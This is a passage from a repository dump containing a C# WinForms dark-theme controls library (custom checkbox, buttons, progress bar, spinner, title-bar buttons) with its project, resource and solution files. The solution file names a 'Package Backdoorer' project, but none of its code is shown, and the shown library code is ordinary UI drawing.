this.Invalidate(); 93 | } 94 | base.OnMouseDown(mevent); 95 | } 96 | 97 | //protected override void OnMouseMove(MouseEventArgs mevent) 98 | //{ 99 | // if (mevent.Button == MouseButtons.Left) 100 | // { 101 | // mouseDown = true; 102 | // this.Invalidate(); 103 | // } 104 | // base.OnMouseMove(mevent); 105 | //} 106 | 107 | protected override void OnMouseUp(MouseEventArgs mevent) 108 | { 109 | if (mevent.Button == MouseButtons.Left) 110 | { 111 | mouseDown = false; 112 | this.Invalidate(); 113 | } 114 | base.OnMouseUp(mevent); 115 | } 116 | 117 | public static void DrawCheckBox(Graphics g, Point p, CheckState Checked) 118 | { 119 | Color BoxFillColor = Color.FromArgb(33, 33, 33); 120 | //using (SolidBrush brush = new SolidBrush(BoxFillColor)) 121 | // g.DrawString(Text, Font, brush, 26, 6); 122 | 123 | Point pt = new Point(4, 4); 124 | Rectangle rect = new Rectangle(p, new Size(12, 12)); 125 | 126 | //if (mouseEntered) 127 | //{ 128 | // if (mouseDown) 129 | // { 130 | // Color col = Color.FromArgb(BoxFillColor.R - 4, BoxFillColor.G - 4, BoxFillColor.B - 4); 131 | // using (GraphicsPath path = RoundedRect(rect, 4)) 132 | // { 133 | // g.FillPath(new SolidBrush(col), path); 134 | // } 135 | // } 136 | // else 137 | // { 138 | // Color col = Color.FromArgb(BoxFillColor.R + 22, BoxFillColor.G + 22, BoxFillColor.B + 22); 139 | // using (GraphicsPath path = RoundedRect(rect, 4)) 140 | // { 141 | // g.FillPath(new SolidBrush(col), path); 142 | // } 143 | // } 144 | //} 145 | //else 146 | { 147 | using (GraphicsPath path = RoundedRect(rect, 4)) 148 | { 149 | g.FillPath(new SolidBrush(BoxFillColor), path); 150 | } 151 | } 152 | 153 | if (Checked == CheckState.Checked) 154 | { 155 | using (SolidBrush brush = new SolidBrush(Color.CornflowerBlue)) 156 | using (Font wing = new Font("Wingdings", 12f)) 157 | g.DrawString("ü", wing, brush, p.X - 2f, p.Y - 2f); 158 | } 159 | else if (Checked == CheckState.Indeterminate) 160 | { 161 | using (GraphicsPath path = RoundedRect(rect, 4)) 162 | { 163 | g.FillPath(new SolidBrush(Color.CornflowerBlue), path); 164 | } 165 | } 166 | 167 | using (GraphicsPath path = RoundedRect(rect, 4)) 168 | { 169 | g.DrawPath(new Pen(Color.Silver), path); 170 | } 171 | } 172 | 173 | protected override void OnPaint(PaintEventArgs pevent) 174 | { 175 | //base.OnPaint(pevent); 176 | 177 | pevent.Graphics.Clear(BackColor); 178 | 179 | if (this.Enabled) 180 | { 181 | using (SolidBrush brush = new SolidBrush(ForeColor)) 182 | pevent.Graphics.DrawString(Text, Font, brush, 26, 6); 183 | 184 | Point pt = new Point(4, 4); 185 | Rectangle rect = new Rectangle(pt, new Size(16, 16)); 186 | 187 | if (mouseEntered) 188 | { 189 | if (mouseDown) 190 | { 191 | Color col = Color.FromArgb(BoxFillColor.R - 4, BoxFillColor.G - 4, BoxFillColor.B - 4); 192 | using (GraphicsPath path = RoundedRect(rect, 4)) 193 | { 194 | pevent.Graphics.FillPath(new SolidBrush(col), path); 195 | } 196 | } 197 | else 198 | { 199 | Color col = Color.FromArgb(BoxFillColor.R + 22, BoxFillColor.G + 22, BoxFillColor.B + 22); 200 | using (GraphicsPath path = RoundedRect(rect, 4)) 201 | { 202 | pevent.Graphics.FillPath(new SolidBrush(col), path); 203 | } 204 | } 205 | } 206 | else 207 | { 208 | using (GraphicsPath path = RoundedRect(rect, 4)) 209 | { 210 | pevent.Graphics.FillPath(new SolidBrush(BoxFillColor), path); 211 | } 212 | } 213 | 214 | if (Checked) 215 | { 216 | using (SolidBrush brush = new SolidBrush(CheckColor)) 217 | using (Font wing = new Font("Wingdings", 12f)) 218 | pevent.Graphics.DrawString("ü", wing, brush, 3, 5); 219 | } 220 | 221 | using (GraphicsPath path = RoundedRect(rect, 4)) 222 | { 223 | pevent.Graphics.DrawPath(new Pen(BoxBorderColor), path); 224 | } 225 | } 226 | else 227 | { 228 | double brightnessDim = 0.4; 229 | double[] hsbForeColor = SimpleColorTransforms.RgBtoHsb(ForeColor); 230 | double[] hsBoxFillColor = SimpleColorTransforms.RgBtoHsb(BoxFillColor); 231 | double[] hsBoxBorderColor = SimpleColorTransforms.RgBtoHsb(BoxBorderColor); 232 | double[] hsCheckColor = SimpleColorTransforms.RgBtoHsb(CheckColor); 233 | 234 | hsbForeColor[1] = 0.0; 235 | hsbForeColor[2] -= brightnessDim; 236 | 237 | hsBoxFillColor[1] = 0.0; 238 | //hsBoxFillColor[2] -= brightnessDim; 239 | 240 | hsBoxBorderColor[1] = 0.0; 241 | hsBoxBorderColor[2] -= brightnessDim; 242 | 243 | hsCheckColor[1] = 0.0; 244 | hsCheckColor[2] -= brightnessDim; 245 | 246 | Color foreColor = SimpleColorTransforms.HsBtoRgb(hsbForeColor[0], hsbForeColor[1], hsbForeColor[2]); 247 | Color boxFillColor = SimpleColorTransforms.HsBtoRgb(hsBoxFillColor[0], hsBoxFillColor[1], hsBoxFillColor[2]); 248 | Color boxBorderColor = SimpleColorTransforms.HsBtoRgb(hsBoxBorderColor[0], hsBoxBorderColor[1], hsBoxBorderColor[2]); 249 | Color checkColor = SimpleColorTransforms.HsBtoRgb(hsCheckColor[0], hsCheckColor[1], hsCheckColor[2]); 250 | 251 | 252 | using (SolidBrush brush = new SolidBrush(foreColor)) 253 | pevent.Graphics.DrawString(Text, Font, brush, 26, 6); 254 | 255 | Point pt = new Point(4, 4); 256 | Rectangle rect = new Rectangle(pt, new Size(16, 16)); 257 | 258 | pevent.Graphics.FillRectangle(new SolidBrush(boxFillColor), rect); 259 | 260 | if (Checked) 261 | { 262 | using (SolidBrush brush = new SolidBrush(checkColor)) 263 | using (Font wing = new Font("Wingdings", 12f)) 264 | pevent.Graphics.DrawString("ü", wing, brush, 3, 5); 265 | } 266 | 267 | using (GraphicsPath path = RoundedRect(rect, 4)) 268 | { 269 | pevent.Graphics.DrawPath(new Pen(boxBorderColor), path); 270 | } 271 | } 272 | } 273 | } 274 | } 275 | -------------------------------------------------------------------------------- /Dark Controls Mod/Controls/NoFocusCueBotton.cs: -------------------------------------------------------------------------------- 1 | using System.ComponentModel; 2 | using System.Windows.Forms; 3 | 4 | namespace DarkControls 5 | { 6 | /// 7 | /// Modified button which has no focus rectangles when the form which contains this button loses fucus while the button was focused. 8 | /// 9 | [ToolboxItem(typeof(NoFocusCueBotton))] 10 | public class NoFocusCueBotton : Button 11 | { 12 | protected override bool ShowFocusCues => false; 13 | 14 | /// 15 | /// Creates a new instance of a 16 | /// 17 | public NoFocusCueBotton() { } 18 | 19 | public override void NotifyDefault(bool value) 20 | { 21 | base.NotifyDefault(false); 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /Dark Controls Mod/Controls/ProgressBarEx.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | using System.Drawing; 4 | using System.Drawing.Drawing2D; 5 | 6 | namespace DarkControls 7 | { 8 | public class ProgressBarEx : ProgressBar 9 | { 10 | public ProgressBarEx() 11 | { 12 | this.SetStyle(ControlStyles.UserPaint, true); 13 | } 14 | 15 | protected override void OnPaintBackground(PaintEventArgs pevent) 16 | { 17 | // None... Helps control the flicker. 18 | } 19 | 20 | protected override void OnPaint(PaintEventArgs e) 21 | { 22 | const int inset = 2; // A single inset value to control teh sizing of the inner rect. 23 | 24 | using (Image offscreenImage = new Bitmap(this.Width, this.Height)) 25 | { 26 | using (Graphics offscreen = Graphics.FromImage(offscreenImage)) 27 | { 28 | offscreen.Clear(this.BackColor); 29 | Rectangle rect = new Rectangle(0, 0, this.Width, this.Height); 30 | offscreen.DrawRectangle(new Pen(Color.Silver, 2), rect); 31 | 32 | //if (ProgressBarRenderer.IsSupported) 33 | // ProgressBarRenderer.DrawHorizontalBar(offscreen, rect); 34 | 35 | rect.Inflate(new Size(-inset, -inset)); // Deflate inner rect. 36 | rect.Width = (int)(rect.Width * ((double)this.Value / this.Maximum)); 37 | if (rect.Width == 0) rect.Width = 1; // Can't draw rec with width of 0. 38 | 39 | //LinearGradientBrush brush = new LinearGradientBrush(rect, this.BackColor, this.ForeColor, LinearGradientMode.Horizontal); 40 | SolidBrush brush = new SolidBrush(this.ForeColor); 41 | 42 | offscreen.FillRectangle(brush, inset, inset, rect.Width, rect.Height); 43 | 44 | e.Graphics.DrawImage(offscreenImage, 0, 0); 45 | } 46 | } 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /Dark Controls Mod/Controls/ProgressSpinner.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace DarkControls 2 | { 3 | partial class ProgressSpinner 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Component Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.Loading_pb = new System.Windows.Forms.PictureBox(); 32 | ((System.ComponentModel.ISupportInitialize)(this.Loading_pb)).BeginInit(); 33 | this.SuspendLayout(); 34 | // 35 | // Loading_pb 36 | // 37 | this.Loading_pb.BackColor = System.Drawing.Color.Transparent; 38 | this.Loading_pb.Dock = System.Windows.Forms.DockStyle.Fill; 39 | this.Loading_pb.Location = new System.Drawing.Point(0, 0); 40 | this.Loading_pb.Name = "Loading_pb"; 41 | this.Loading_pb.Size = new System.Drawing.Size(128, 128); 42 | this.Loading_pb.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; 43 | this.Loading_pb.TabIndex = 13; 44 | this.Loading_pb.TabStop = false; 45 | // 46 | // ProgressSpinner 47 | // 48 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 49 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 50 | this.Controls.Add(this.Loading_pb); 51 | this.Name = "ProgressSpinner"; 52 | this.Size = new System.Drawing.Size(128, 128); 53 | ((System.ComponentModel.ISupportInitialize)(this.Loading_pb)).EndInit(); 54 | this.ResumeLayout(false); 55 | 56 | } 57 | 58 | #endregion 59 | 60 | private System.Windows.Forms.PictureBox Loading_pb; 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /Dark Controls Mod/Controls/ProgressSpinner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Data; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace DarkControls 10 | { 11 | public partial class ProgressSpinner : UserControl 12 | { 13 | public ProgressSpinner() 14 | { 15 | InitializeComponent(); 16 | 17 | SetStyle(ControlStyles.SupportsTransparentBackColor, true); 18 | BackColor = Color.Transparent; 19 | } 20 | public bool IsStart = false; 21 | [Description("Load Image .gif in the object"), Category("Data")] 22 | public Image LoadGIFImage 23 | { 24 | get { return Loading_pb.Image; } 25 | set 26 | { 27 | Loading_pb.Image = value; 28 | BackColor = Color.Transparent; 29 | } 30 | } 31 | 32 | public void Start() 33 | { 34 | IsStart = true; 35 | this.Visible = true; 36 | var worker = new BackgroundWorker(); 37 | worker.DoWork += new DoWorkEventHandler(Loading); 38 | worker.RunWorkerAsync(); 39 | } 40 | public void Stop() 41 | { 42 | IsStart = false; 43 | this.Visible = false; 44 | } 45 | void Loading(object sender, DoWorkEventArgs e) 46 | { 47 | while (IsStart) 48 | { 49 | this.Refresh(); 50 | } 51 | } 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /Dark Controls Mod/Controls/TransparentLabel.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Windows.Forms; 7 | 8 | namespace DarkControls 9 | { 10 | public class TransparentLabel : Label 11 | { 12 | protected override void WndProc(ref Message m) 13 | { 14 | const int WM_NCHITTEST = 0x0084; 15 | const int HTTRANSPARENT = (-1); 16 | 17 | if (m.Msg == WM_NCHITTEST) 18 | { 19 | m.Result = (IntPtr)HTTRANSPARENT; 20 | } 21 | else 22 | { 23 | base.WndProc(ref m); 24 | } 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /Dark Controls Mod/Controls/WindowsDefaultTitleBarButton.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Drawing; 4 | using System.Windows.Forms; 5 | 6 | namespace DarkControls 7 | { 8 | /// 9 | /// Button which represents the default close, minimize or maximize buttons of the windows 10 aero theme. 10 | /// 11 | [ToolboxItem(true)] 12 | public class WindowsDefaultTitleBarButton : NoFocusCueBotton 13 | { 14 | /// 15 | /// Represents the 3 possible types of the windows border buttons. 16 | /// 17 | public enum Type 18 | { 19 | Close, 20 | Maximize, 21 | Minimize 22 | } 23 | 24 | private Pen activeIconColorPen; 25 | private Brush activeIconColorBrush; 26 | private Brush activeColorBrush; 27 | 28 | /// 29 | /// The type which defines the buttons behaviour. 30 | /// 31 | 32 | [RefreshProperties(System.ComponentModel.RefreshProperties.All)] 33 | [EditorBrowsable(EditorBrowsableState.Always)] 34 | [Browsable(true)] 35 | [Category("Appearance")] 36 | [Description("The type which defines the buttons behaviour.")] 37 | public Type ButtonType { get; set; } 38 | 39 | /// 40 | /// The background color of the button when the mouse is inside the buttons bounds. 41 | /// 42 | 43 | [RefreshProperties(System.ComponentModel.RefreshProperties.All)] 44 | [EditorBrowsable(EditorBrowsableState.Always)] 45 | [Browsable(true)] 46 | [Category("Appearance")] 47 | [Description("The background color of the button when the mouse is inside the buttons bounds.")] 48 | public Color HoverColor { get; set; } 49 | 50 | /// 51 | /// The background color of the button when the button is clicked. 52 | /// 53 | 54 | [RefreshProperties(System.ComponentModel.RefreshProperties.All)] 55 | [EditorBrowsable(EditorBrowsableState.Always)] 56 | [Browsable(true)] 57 | [Category("Appearance")] 58 | [Description("The background color of the button when the button is clicked.")] 59 | public Color ClickColor { get; set; } 60 | 61 | /// 62 | /// The default color of the icon. 63 | /// 64 | 65 | [RefreshProperties(System.ComponentModel.RefreshProperties.All)] 66 | [EditorBrowsable(EditorBrowsableState.Always)] 67 | [Browsable(true)] 68 | [Category("Appearance")] 69 | [Description("The default color of the icon.")] 70 | public Color IconColor { get; set; } 71 | 72 | /// 73 | /// The color of the icon when the mouse is inside the buttons bounds. 74 | /// 75 | 76 | [RefreshProperties(System.ComponentModel.RefreshProperties.All)] 77 | [EditorBrowsable(EditorBrowsableState.Always)] 78 | [Browsable(true)] 79 | [Category("Appearance")] 80 | [Description("The color of the icon when the mouse is inside the buttons bounds.")] 81 | public Color HoverIconColor { get; set; } 82 | 83 | /// 84 | /// The color of the icon when the mouse is inside the buttons bounds. 85 | /// 86 | 87 | [RefreshProperties(System.ComponentModel.RefreshProperties.All)] 88 | [EditorBrowsable(EditorBrowsableState.Always)] 89 | [Browsable(true)] 90 | [Category("Appearance")] 91 | [DefaultValue("2")] 92 | [Description("The thickness of the lines making up the icon")] 93 | public int IconLineThickness { get; set; } 94 | 95 | /// 96 | /// The color of the icon when the button is clicked. 97 | /// 98 | 99 | [RefreshProperties(System.ComponentModel.RefreshProperties.All)] 100 | [EditorBrowsable(EditorBrowsableState.Always)] 101 | [Browsable(true)] 102 | [Category("Appearance")] 103 | [Description("The color of the icon when the button is clicked.")] 104 | public Color ClickIconColor { get; set; } 105 | 106 | /// 107 | /// Property which returns the active background color of the button depending on if the button is clicked or hovered. 108 | /// 109 | /// 110 | 111 | [RefreshProperties(System.ComponentModel.RefreshProperties.All)] 112 | [EditorBrowsable(EditorBrowsableState.Always)] 113 | [Browsable(true)] 114 | public virtual Color ActiveColor 115 | { 116 | get 117 | { 118 | if (this.DesignMode == false) 119 | { 120 | if (this.Clicked) 121 | return this.ClickColor; 122 | 123 | if (this.Hovered) 124 | return this.HoverColor; 125 | 126 | return BackColor; 127 | } 128 | else 129 | { 130 | return this.HoverColor; 131 | /* switch (this.ButtonType) 132 | { 133 | case Type.Close: 134 | { 135 | return Color.Red; 136 | } 137 | case Type.Maximize: 138 | { 139 | return Color.SkyBlue; 140 | } 141 | case Type.Minimize: 142 | { 143 | return Color.SkyBlue; 144 | } 145 | }*/ 146 | } 147 | return Color.Empty; 148 | } 149 | } 150 | 151 | /// 152 | /// Property which returns the active color of the buttons icon depending on if the button is clicked or hovered. 153 | /// 154 | [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] 155 | [RefreshProperties(System.ComponentModel.RefreshProperties.All)] 156 | [EditorBrowsable(EditorBrowsableState.Never)] 157 | [Browsable(false)] 158 | public virtual Color ActiveIconColor 159 | { 160 | get 161 | { 162 | if (this.DesignMode == false) 163 | { 164 | if (this.Clicked) 165 | return this.ClickIconColor; 166 | 167 | if (this.Hovered) 168 | return this.HoverIconColor; 169 | 170 | return IconColor; 171 | } 172 | else 173 | { 174 | return Color.Black; 175 | } 176 | } 177 | } 178 | 179 | /// 180 | /// Property which indicates if the mouse is currently inside the bounds of the button. 181 | /// 182 | [EditorBrowsable(EditorBrowsableState.Never)] 183 | [Browsable(false)] 184 | [DefaultValue(false)] 185 | public bool Hovered { get; set; } 186 | 187 | /// 188 | /// Property which indicates if the left mouse button was pressed down inside the buttons bounds. Can be true before the click event is triggered. 189 | /// 190 | [EditorBrowsable(EditorBrowsableState.Never)] 191 | [Browsable(false)] 192 | [DefaultValue(false)] 193 | public bool Clicked { get; set; } 194 | 195 | public WindowsDefaultTitleBarButton() { } 196 | 197 | protected override void OnMouseEnter(EventArgs e) 198 | { 199 | base.OnMouseEnter(e); 200 | Hovered = true; 201 | } 202 | 203 | protected override void OnMouseLeave(EventArgs e) 204 | { 205 | base.OnMouseLeave(e); 206 | Hovered = false; 207 | } 208 | 209 | protected override void OnMouseDown(MouseEventArgs mevent) 210 | { 211 | base.OnMouseDown(mevent); 212 | Clicked = true; 213 | } 214 | 215 | protected override void OnMouseUp(MouseEventArgs mevent) 216 | { 217 | base.OnMouseUp(mevent); 218 | Clicked = false; 219 | } 220 | 221 | protected override void OnClick(EventArgs e) 222 | { 223 | if (ButtonType == Type.Close) 224 | this.FindForm()?.Close(); 225 | else if (ButtonType == Type.Maximize) 226 | this.FindForm().WindowState = this.FindForm().WindowState == FormWindowState.Maximized ? FormWindowState.Normal : FormWindowState.Maximized; 227 | else 228 | this.FindForm().WindowState = FormWindowState.Minimized; 229 | 230 | base.OnClick(e); 231 | } 232 | 233 | protected override void OnPaint(PaintEventArgs pevent) 234 | { 235 | System.Diagnostics.Trace.WriteLine(pevent.ClipRectangle.ToString()); 236 | 237 | activeColorBrush?.Dispose(); 238 | activeColorBrush = new SolidBrush(ActiveColor); 239 | 240 | pevent.Graphics.FillRectangle(new SolidBrush(ActiveColor), pevent.ClipRectangle); 241 | pevent.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality; 242 | 243 | activeIconColorBrush?.Dispose(); 244 | activeIconColorPen?.Dispose(); 245 | 246 | activeIconColorBrush = new SolidBrush(ActiveIconColor); 247 | activeIconColorPen = new Pen(activeIconColorBrush, IconLineThickness); 248 | 249 | if (ButtonType == Type.Close) 250 | { 251 | drawCloseIcon(pevent, new Rectangle(0, 0, this.Width, this.Height)); 252 | } 253 | else if (ButtonType == Type.Maximize) 254 | { 255 | drawMaximizeIcon(pevent, new Rectangle(0, 0, this.Width, this.Height)); 256 | } 257 | else 258 | { 259 | drawMinimizeIcon(pevent, new Rectangle(0, 0, this.Width, this.Height)); 260 | } 261 | } 262 | 263 | protected virtual void drawCloseIcon(PaintEventArgs e, Rectangle drawRect) 264 | { 265 | int size = 12; 266 | e.Graphics.DrawLine( 267 | activeIconColorPen, 268 | drawRect.X + drawRect.Width / 2 - (size / 2), 269 | drawRect.Y + drawRect.Height / 2 - (size / 2), 270 | drawRect.X + drawRect.Width / 2 + (size / 2), 271 | drawRect.Y + drawRect.Height / 2 + (size / 2)); 272 | 273 | e.Graphics.DrawLine( 274 | activeIconColorPen, 275 | drawRect.X + drawRect.Width / 2 - (size / 2), 276 | drawRect.Y + drawRect.Height / 2 + (size / 2), 277 | drawRect.X + drawRect.Width / 2 + (size / 2), 278 | drawRect.Y + drawRect.Height / 2 - (size / 2)); 279 | } 280 | 281 | protected virtual void drawMaximizeIcon(PaintEventArgs e, Rectangle drawRect) 282 | { 283 | if (this.FindForm().WindowState == FormWindowState.Normal) 284 | { 285 | int size = 10; 286 | Rectangle rect = new Rectangle( 287 | drawRect.X + drawRect.Width / 2 - (size / 2), 288 | drawRect.Y + drawRect.Height / 2 - (size / 2), 289 | size, size); 290 | Rectangle r2 = new Rectangle(rect.X, rect.Y, rect.Width, 2); 291 | e.Graphics.DrawRectangle(activeIconColorPen, rect); 292 | 293 | e.Graphics.FillRectangle(new SolidBrush(activeIconColorPen.Color), r2); 294 | } 295 | else if (this.FindForm().WindowState == FormWindowState.Maximized) 296 | { 297 | e.Graphics.DrawRectangle( 298 | activeIconColorPen, 299 | new Rectangle( 300 | drawRect.X + drawRect.Width / 2 - 3, 301 | drawRect.Y + drawRect.Height / 2 - 5, 302 | 8, 8)); 303 | 304 | Rectangle rect = new Rectangle( 305 | drawRect.X + drawRect.Width / 2 - 5, 306 | drawRect.Y + drawRect.Height / 2 - 3, 307 | 8, 8); 308 | 309 | e.Graphics.FillRectangle(activeIconColorBrush, rect); 310 | e.Graphics.DrawRectangle(activeIconColorPen, rect); 311 | } 312 | } 313 | 314 | protected virtual void drawMinimizeIcon(PaintEventArgs e, Rectangle drawRect) 315 | { 316 | int lower = 3; 317 | e.Graphics.DrawLine( 318 | activeIconColorPen, 319 | drawRect.X + drawRect.Width / 2 - 5, 320 | drawRect.Y + drawRect.Height / 2 + lower, 321 | drawRect.X + drawRect.Width / 2 + 5, 322 | drawRect.Y + drawRect.Height / 2 + lower); 323 | } 324 | } 325 | } -------------------------------------------------------------------------------- /Dark Controls Mod/Dark Controls Mod.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {68962ECD-D401-48DB-8C2A-16E614E8EEA6} 8 | Library 9 | Properties 10 | DarkControls 11 | Dark Controls Mod 12 | v4.8 13 | 512 14 | true 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | pdbonly 27 | true 28 | bin\Release\ 29 | TRACE 30 | prompt 31 | 4 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | Component 47 | 48 | 49 | Component 50 | 51 | 52 | Component 53 | 54 | 55 | 56 | Component 57 | 58 | 59 | Component 60 | 61 | 62 | UserControl 63 | 64 | 65 | 66 | 67 | Component 68 | 69 | 70 | Component 71 | 72 | 73 | 74 | True 75 | True 76 | Resources.resx 77 | 78 | 79 | 80 | 81 | ResXFileCodeGenerator 82 | Resources.Designer.cs 83 | 84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /Dark Controls Mod/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Dark Controls Mod")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Dark Controls Mod")] 13 | [assembly: AssemblyCopyright("Copyright © 2023")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("68962ecd-d401-48db-8c2a-16e614e8eea6")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Dark Controls Mod/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace DarkControls.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | public class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("DarkControls.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Drawing.Bitmap. 65 | /// 66 | internal static System.Drawing.Bitmap icons8_crossed_axes_100 { 67 | get { 68 | object obj = ResourceManager.GetObject("icons8_crossed_axes_100", resourceCulture); 69 | return ((System.Drawing.Bitmap)(obj)); 70 | } 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /Dark Controls Mod/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | icons8-crossed-axes-100.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 123 | 124 | -------------------------------------------------------------------------------- /Dark Controls Mod/Properties/icons8-crossed-axes-100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Dark Controls Mod/Properties/icons8-crossed-axes-100.png -------------------------------------------------------------------------------- /NugetBackdoor.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.2.32516.85 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Package Backdoorer", "Package Backdoorer\Package Backdoorer.csproj", "{5948A5B8-28CF-4B0B-9A41-985356860999}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Dark Controls Mod", "Dark Controls Mod\Dark Controls Mod.csproj", "{68962ECD-D401-48DB-8C2A-16E614E8EEA6}" 9 | EndProject 10 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{3E1D0F93-3984-40A7-B369-D1E4C822E782}" 11 | ProjectSection(SolutionItems) = preProject 12 | README.md = README.md 13 | Report.md = Report.md 14 | EndProjectSection 15 | EndProject 16 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Test Packages", "Test Packages", 